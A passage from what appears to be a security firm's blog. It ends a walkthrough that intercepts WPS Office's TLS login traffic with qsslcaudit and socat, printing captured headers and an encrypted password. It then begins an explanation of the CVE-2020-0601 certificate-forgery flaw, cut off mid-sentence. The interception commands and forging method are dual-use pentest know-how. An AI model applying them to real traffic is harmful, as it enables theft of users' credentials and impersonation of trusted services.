&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;3 | self-signed certificate for invali | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;5 | custom certificate for invalid dom | &nbsp; PASSED &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: The TLS/SSL connection has been closed The remote host closed the connection<br /> ssl conn established?: true<br /> socket errors ids: 1 1<br /> received data, bytes: 344<br /> transmitted data, bytes: 5583<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> SNI: plugin-server.wps.com<br /> ALPN: http/1.1<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>This result is interesting! Usually the applications we test either trust all certificates or properly verify them. In this case the TLS client trusts all the certificates which are issued to the expected common name.</p> <h3><a id="user-content-accountwpscom" href="#accountwpscom" name="accountwpscom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>account.wps.com</h3> <p>That is all interesting and already can be (and actually was) reported. But let's intercept more interesting data. During traffic analysis we spotted <code>account.wps.com</code> domain. This is the host that the application uses during the login process. In this case we have to login with WPS account (not Google, Facebook or Dropbox).</p> <p><code>qsslcaudit</code> produced the following output:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn account.wps.com<br /> preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> ...skipped for brevity...<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;3 | self-signed certificate for invali | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;5 | custom certificate for invalid dom | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client</div></div> <p>Nice! But in this case we intercepted only the first connection which does not contain any sensitive information. Let's use <code>qsslcaudit</code>'s functionality to forward intercepted data. Do note that it forwards the traffic **inside** TLS channel. Thus, we additionally have to forward clear-text HTTP towards HTTPS, we used <code>socat</code> for that:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">socat TCP4-LISTEN:6666,fork,reuseaddr openssl:90.84.192.191:443,verify=0</div></div> <p>We also have to select the particular test that allows man-in-the-middle:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests 1 --forward 127.0.0.1:6666 --user-cn account.wps.com<br /> preparing selected tests...<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> running test #1: certificate trust test with user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:49466<br /> forwarding incoming data to the provided proxy<br /> to get test results, relauch this app without 'forward' option<br /> report:<br /> no data received with socket in incorrect state<br /> test finished<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | UNDEF ??? &nbsp;| report this case to develop | <br /> | &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| ers &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: <br /> ssl conn established?: false<br /> intercepted data: GET /api/server_ok HTTP/1.1<br /> Content-MD5: ce1f01765892367a5ab8a74fb89b1773<br /> Device-Name: samsung SM-A310F<br /> host: account.wps.com<br /> X-Platform-Language: en-GB<br /> X-Platform: Android-6.0.1<br /> X-App-Version: 12.3.5<br /> X-Client-Ver: Android-WPS Office-12.3.5<br /> X-App-Name: WPS Office<br /> Device-Type: android<br /> X-App-Channel: en00001<br /> User-Agent: qing/2.2.17 (Android-6.0.1;U;en-GB) Version/12.3.5 App/android-office<br /> Accept-Encoding: gzip<br /> Cookie: wpsua=V1BTVUEvMS4wIChhbmRyb2lkLW9mZmljZToxMi4zLjU7YW5kcm9pZDo2LjAuMTs0ZjA1OTFmYTJkMjU5NDcxZGQ2ZDU2OGU4M2Q5OGQwMTpjMkZ0YzNWdVp5QlRUUzFCTXpFd1JnPT0pc2Ftc3VuZy9TTS1BMzEwRg==<br /> Content-Type: application/json; charset=utf-8<br /> Device-Id: 4f0591fa2d259471dd6d568e83d98d01<br /> Date: Thu, 27 Feb 2020 10:53:01 GMT<br /> X-Sdk-Ver: Android-2.2.17<br /> Accept-Language: en-GB<br /> Authorization: WPS-2:AqY7ik9XQ92tvO7+NlCRvA==:e25c94fd1c2e1d5c8b0658008cf7e210c1499215<br /> Connection: Keep-Alive<br /> <br /> POST /api/signin HTTP/1.1<br /> Content-MD5: 721f38d1c450e936388850c136e8fe2c<br /> Device-Name: samsung SM-A310F<br /> host: account.wps.com<br /> X-Platform-Language: en-GB<br /> X-Platform: Android-6.0.1<br /> X-App-Version: 12.3.5<br /> X-Client-Ver: Android-WPS Office-12.3.5<br /> X-App-Name: WPS Office<br /> Device-Type: android<br /> X-App-Channel: en00001<br /> User-Agent: qing/2.2.17 (Android-6.0.1;U;en-GB) Version/12.3.5 App/android-office<br /> Accept-Encoding: gzip<br /> Cookie: wpsua=V1BTVUEvMS4wIChhbmRyb2lkLW9mZmljZToxMi4zLjU7YW5kcm9pZDo2LjAuMTs0ZjA1OTFmYTJkMjU5NDcxZGQ2ZDU2OGU4M2Q5OGQwMTpjMkZ0YzNWdVp5QlRUUzFCTXpFd1JnPT0pc2Ftc3VuZy9TTS1BMzEwRg==<br /> Content-Type: application/json; charset=utf-8<br /> Device-Id: 4f0591fa2d259471dd6d568e83d98d01<br /> Date: Thu, 27 Feb 2020 10:53:34 GMT<br /> X-Sdk-Ver: Android-2.2.17<br /> Accept-Language: en-GB<br /> Authorization: WPS-2:AqY7ik9XQ92tvO7+NlCRvA==:ad7340f9fa2aeb06fd32f89fcafea42e62d09eeb<br /> Content-Length: 90<br /> Connection: Keep-Alive<br /> <br /> {&quot;account&quot;:&quot;gremwell@gremwell.com&quot;,&quot;password&quot;:&quot;OV-UOIt-L5kzKC2-Pr4j7g==\n&quot;,&quot;encrypt&quot;:true}<br /> received data, bytes: 0<br /> transmitted data, bytes: 0<br /> not a valid TLS/SSL client, 0 byte(s) of raw data received, i.e.:<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>We were able to intercept the credentials, shown in the last of two intercepted requests. Yes, they are &quot;encrypted&quot;, but as we can intercept all communications, we have all information to decrypt them.</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">{&quot;account&quot;:&quot;gremwell@gremwell.com&quot;,&quot;password&quot;:&quot;OV-UOIt-L5kzKC2-Pr4j7g==\n&quot;,&quot;encrypt&quot;:true}</div></div> <h1><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h1> <p>In this document we described a typical mobile application test scenario we follow when assessing SSL/TLS communications security. We always verify client-side TLS implementation for all kinds of applications we test: mobile application, web services and other types of software. As we demonstrated in this example it has to be done in all cases: even widely used applications suffer from such vulnerabilities.</p> <p><code>qsslcaudit</code> tool helps pentesters in such assessments as it prepares all kind of certificates. As we demonstrated some clients may not trust self-signed certificates issued for invalid common names but trust others, which have the expected common name field. Manual tests with <code>openssl s_server</code> are doable, but prone to errors and do not have coloured output. :-)</p> <p>Happy intercepting!</p></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Fri, 02/28/2020 - 16:24</span> Fri, 28 Feb 2020 15:24:51 +0000 pavel 952 at https://www.gremwell.com CVE-2020-0601: theory and practice https://www.gremwell.com/blog/cve-202-0601-theory-and-practice <span>CVE-2020-0601: theory and practice</span> <div><ul class="table-of-contents"> <li> <p><a href="#intro">Intro</a></p> </li> <li> <p><a href="#theory">Theory</a></p> <ul> <li> <p><a href="#common-words">Common words</a></p> </li> <li> <p><a href="#ecc">ECC</a></p> </li> <li> <p><a href="#the-issue">The issue</a></p> </li> </ul> </li> <li> <p><a href="#practice">Practice</a></p> <ul> <li> <p><a href="#objective">Objective</a></p> </li> <li> <p><a href="#input-data">Input data</a></p> </li> <li> <p><a href="#evil-private-key-generation">Evil private key generation</a></p> </li> <li> <p><a href="#crafting-certificates">Crafting certificates</a></p> </li> <li> <p><a href="#exploitation">Exploitation</a></p> </li> <li> <p><a href="#qsslcaudit">qsslcaudit</a></p> </li> </ul> </li> <li> <p><a href="#conclusion">Conclusion</a></p> </li> </ul> <h2><a id="user-content-intro" href="#intro" name="intro" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intro</h2> <p>On the 14th of January 2020, Microsoft fixed <a rel="noopener noreferrer" target="_blank" href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601">CVE-2020-0601</a>, a high severity vulnerability affecting &quot;the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates&quot;. Corresponding advisories were issued by <a rel="noopener noreferrer" target="_blank" href="https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF">NSA</a> and <a rel="noopener noreferrer" target="_blank" href="https://kb.cert.org/vuls/id/849224/">CERT</a> on the same day. On the next day it got a few nicknames such as <a rel="noopener noreferrer" target="_blank" href="https://blog.lessonslearned.org/chain-of-fools/">Chain of Fools</a>, or <a rel="noopener noreferrer" target="_blank" href="https://twitter.com/TalBeerySec/status/1217360696893149184?s=20">CurveBall</a>. Some internal details were given by <a rel="noopener noreferrer" target="_blank" href="https://news.ycombinator.com/item?id=22048619">Thomas Ptacek</a> and <a rel="noopener noreferrer" target="_blank" href="https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc/">Kudelski Security</a>. The latter one inspired us to look at this vulnerability from a more practical point of view.</p> <p>Some proof-of-concepts were already available: by <a rel="noopener noreferrer" target="_blank" href="https://github.com/saleemrashid/badecparams">Saleem Rashid</a> and <a rel="noopener noreferrer" target="_blank" href="https://github.com/kudelskisecurity/chainoffools">Kudelski Security</a>. However, we found that even having all aforementioned details and proof-of-concepts it is still not perfectly clear how to implement test for CVE-2020-0601 in general. Such tests were finally added to our client-side SSL/TLS validation tool <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a>. You can discover more details on the subject in this <a href="https://www.gremwell.com/node/950">post</a>.</p> <p>In this article we describe how to generate a certificate (using C++) that a vulnerable client will consider to be valid. We hope that it will help you understand the root cause of the vulnerability and the maths behind.</p> <h2><a id="user-content-theory" href="#theory" name="theory" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Theory</h2> <p><a rel="noopener noreferrer" target="_blank" href="https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc/">Kudelski Security</a> blog post really well describes the mathematical background. Well, not really. :-) The author of this post is a good example of someone who did not - and in fact still does not - have any background in cryptography. As such, everything was clear during reading the article and totally black magic during attempts to implement the same in our own way. Let's try to give an explanation which is closely tied with the implementation.</p> <h3><a id="user-content-common-words" href="#common-words" name="common-words" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Common words</h3> <p>So, what is this issue about? Windows implementation of certain certificates validation had a flaw (at least one which is now public). These *certain certificates* are the ones which are signed using elliptic-curve cryptography method. Here we have two terms which require clarification: *signing* and *elliptic curve cryptography*.</p> <p>A TLS certificate by itself can contain a lot of fields. Some of them can contain arbitrary content, others are purely informational, and several are critical to TLS clients. A client expects to find such fields being equal to certain values (totally depends on client implementation!). For example, if a TLS client connects to some entity claiming the ownership of &quot;example.com&quot; the client expects to find a certificate with &quot;common name&quot; (CN) field set to &quot;example.com&quot;.</p> <p>Obviously, it makes no sense if anyone can write such certificate for &quot;example.com&quot;. In order to provide authenticity of the &quot;example.com&quot; entity, the certificate has to be *signed* by some third-party trusted entity. To *sign* a certificate means to calculate a *signature* over the certificate's fields. This signature is included in the certificate too. Signature can be calculated using various cryptography algorithms. The particular algorithm is also included into the certificate. Currently, such algorithms rely on &quot;public-key cryptography&quot;. Thus, the *public key* itself is also included into certificate. Having all this information (including trust to signing certificate authority) is enough for TLS client to confirm that the TLS server is indeed the owner of the specified resources.</p> <p>In the description above we see another term: *public-key cryptography*. By design, if one entity has a private key it can generate the corresponding public key. The public key is not a secret and is distributed among involved parties. The public key can be used to encrypt arbitrary data but it can not decrypt it. Encrypted data (cipher text) can be decrypted only with the private key.</p> <p>Such feature can be used to implement *signing* process. The owner of the private key produces a signature from its private key and a known data. The owner of the public key uses its public key and the provided signature to calculate shared known data. Then it compares calculation results with the provided data. If they are equal, the public key owner confirms authenticity of the entity which provided the signature.</p> <p>The described approach relies on asymmetric (hardly reversible) mathematical operations. Among such methods are <a rel="noopener noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)">RSA</a> and <a rel="noopener noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography">elliptic-curve cryptography</a>.</p> <p>And we know that something is wrong with how Windows validates signature of ECC certificates...</p> <h3><a id="user-content-ecc" href="#ecc" name="ecc" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ECC</h3> <p>A very good explanation of elliptic-curve cryptography can be found in <a rel="noopener noreferrer" target="_blank" href="https://cryptobook.nakov.com/asymmetric-key-ciphers/elliptic-curve-cryptography-ecc">Practical Cryptography for Developers</a>. Here we will just emphasize some key points related to the discussed proof-of-concept implementation.</p> <p>The elliptic curve cryptography (ECC) uses elliptic curves over the finite field. Here is an example (from the article) showing what it could look like:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">y^2 ≡ x^3 + 7 (mod p)</div></div> <p>This field can be represented as a square matrix of size <code>p x p</code> where <code>p</code> is prime. The points on the curve are limited to integer coordinates within the field only. Thus, dealing with &quot;curve&quot; actually means working over limited set of &quot;points&quot;, defined by their coordinates <code>(x, y)</code>, where each coordinate belongs to the curve (field).</p> <p>See the great illustration from the aforementioned article:</p> <p><img src="https://blobs.gitbook.com/assets%2F-LhlOQMrG9bRiqWpegM0%2F-LhlOTG3w57kUSFndpUZ%2F-LhlPdKtHtyA3W-S25FD%2Felliptic-curve-over-f17-example.png" alt="elliptic curve" /></p> <p><code>p</code> is called field size and determines *key length*. Typically it is a prime number of 256, 384 or 512 bits.</p> <p>As was stated above, the number of points in the field (curve) is limited (finite) and is called *order of the curve* and usually defined as <code>n</code>.</p> <p>There are rules on how algebraic operations within the field are defined. The result of such operation (like point addition and multiplication) within the field always remains in the field.</p> <p>Let's also do the following trick:</p> <ul> <li>select a point on the curve (an object defined by two coordinates);</li> <li>multiply it by an integer number;</li> <li>the result will belong to the curve too, multiply it again by the same number;</li> <li>repeat the process until reaching the initial point.</li> </ul> <p>All points &quot;visited&quot; by such process belong to a list which is called a *subgroup*. There can be several subgroups. The number of them which includes all the curve points (<code>n</code>) is called *cofactor*, <code>h</code>.</p> <p>As one can guess, it should be possible to carefully craft a curve, select a point on it and find an integer number such that the starting point being multiplied by this number several times will cover *all* the curve points. The cofactor <code>h</code> of such curve will be <code>1</code>: the curve contains only one subgroup. Such starting point is called *generator*, <code>G</code>.</p> <p>Standard predefined curves are defined to have cofactor 1 for a known <code>G</code>. Do note that nothing stops from selecting another generator point and multiply it by some integer number. However, this operation could cover less points from the curve (depends on curve properties).</p> <p>Overall, the particular curve is defined by:</p> <ul> <li>Its mathematical formula.</li> <li>Field size <code>p</code> (large prime number).</li> <li>Generator point <code>G</code> on this curve.</li> </ul> <p>To use this curve we define a large integer number, called *private key* <code>k</code>. If we multiply generator point <code>G</code> by private key <code>k</code> we get *public key* <code>P</code>: <code>P = k*G</code>. Note that public key is also a point on the curve (it is defined by two coordinates).</p> <p>Computationally, the public key is calculated very fast (<code>P = k*G</code>). However, the inverse procedure (<code>k = P/G</code>) is extremely slow. This asymmetry is used to implement private-public key cryptography algorithms briefly described above.</p> <h3><a id="user-content-the-issue" href="#the-issue" name="the-issue" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The issue</h3> <p>In order to validate authenticity of the remote party, a TLS client has to validate the signature of the corresponding TLS certificate. This signature is produced by the trusted certificate authority by producing a signature of the provided TLS server certificate using the certificate authority' secret private key. Thus, in theory, a valid signature can be produced only if we know the corresponding certificate authority's private key. However, what happens is that the TLS client (vulnerable Windows version in this case) can improperly validate such signature.</p> <p>By definition of the signature process, a client uses the certificate authority's public key and signature to craft shared public data. If they are equal then the signer is considered as having a valid private key.</p> <p>In <a rel="noopener noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)">RSA</a> cryptosystem the only &quot;variable&quot; which we can change in the process is private key (large integer). All other operations is &quot;basic&quot; arithmetic. However, in case of <a rel="noopener noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography">ECC</a> we also have the curve itself.</p> <p>Remember from the previous section that public key (shared, known to every one) is a product of private key and generator: <code>P = k*G</code> ? Generator here defines the curve and is included in the certificate, but taking it into an account is up to client itself.</p> <p>We can not find the original private key <code>k</code>, but we can select our own generator <code>G'</code> and some other private <code>k'</code> which will produce the desired public <code>P</code>: <code>P = k' * G'</code>. Here private key <code>k'</code> is an 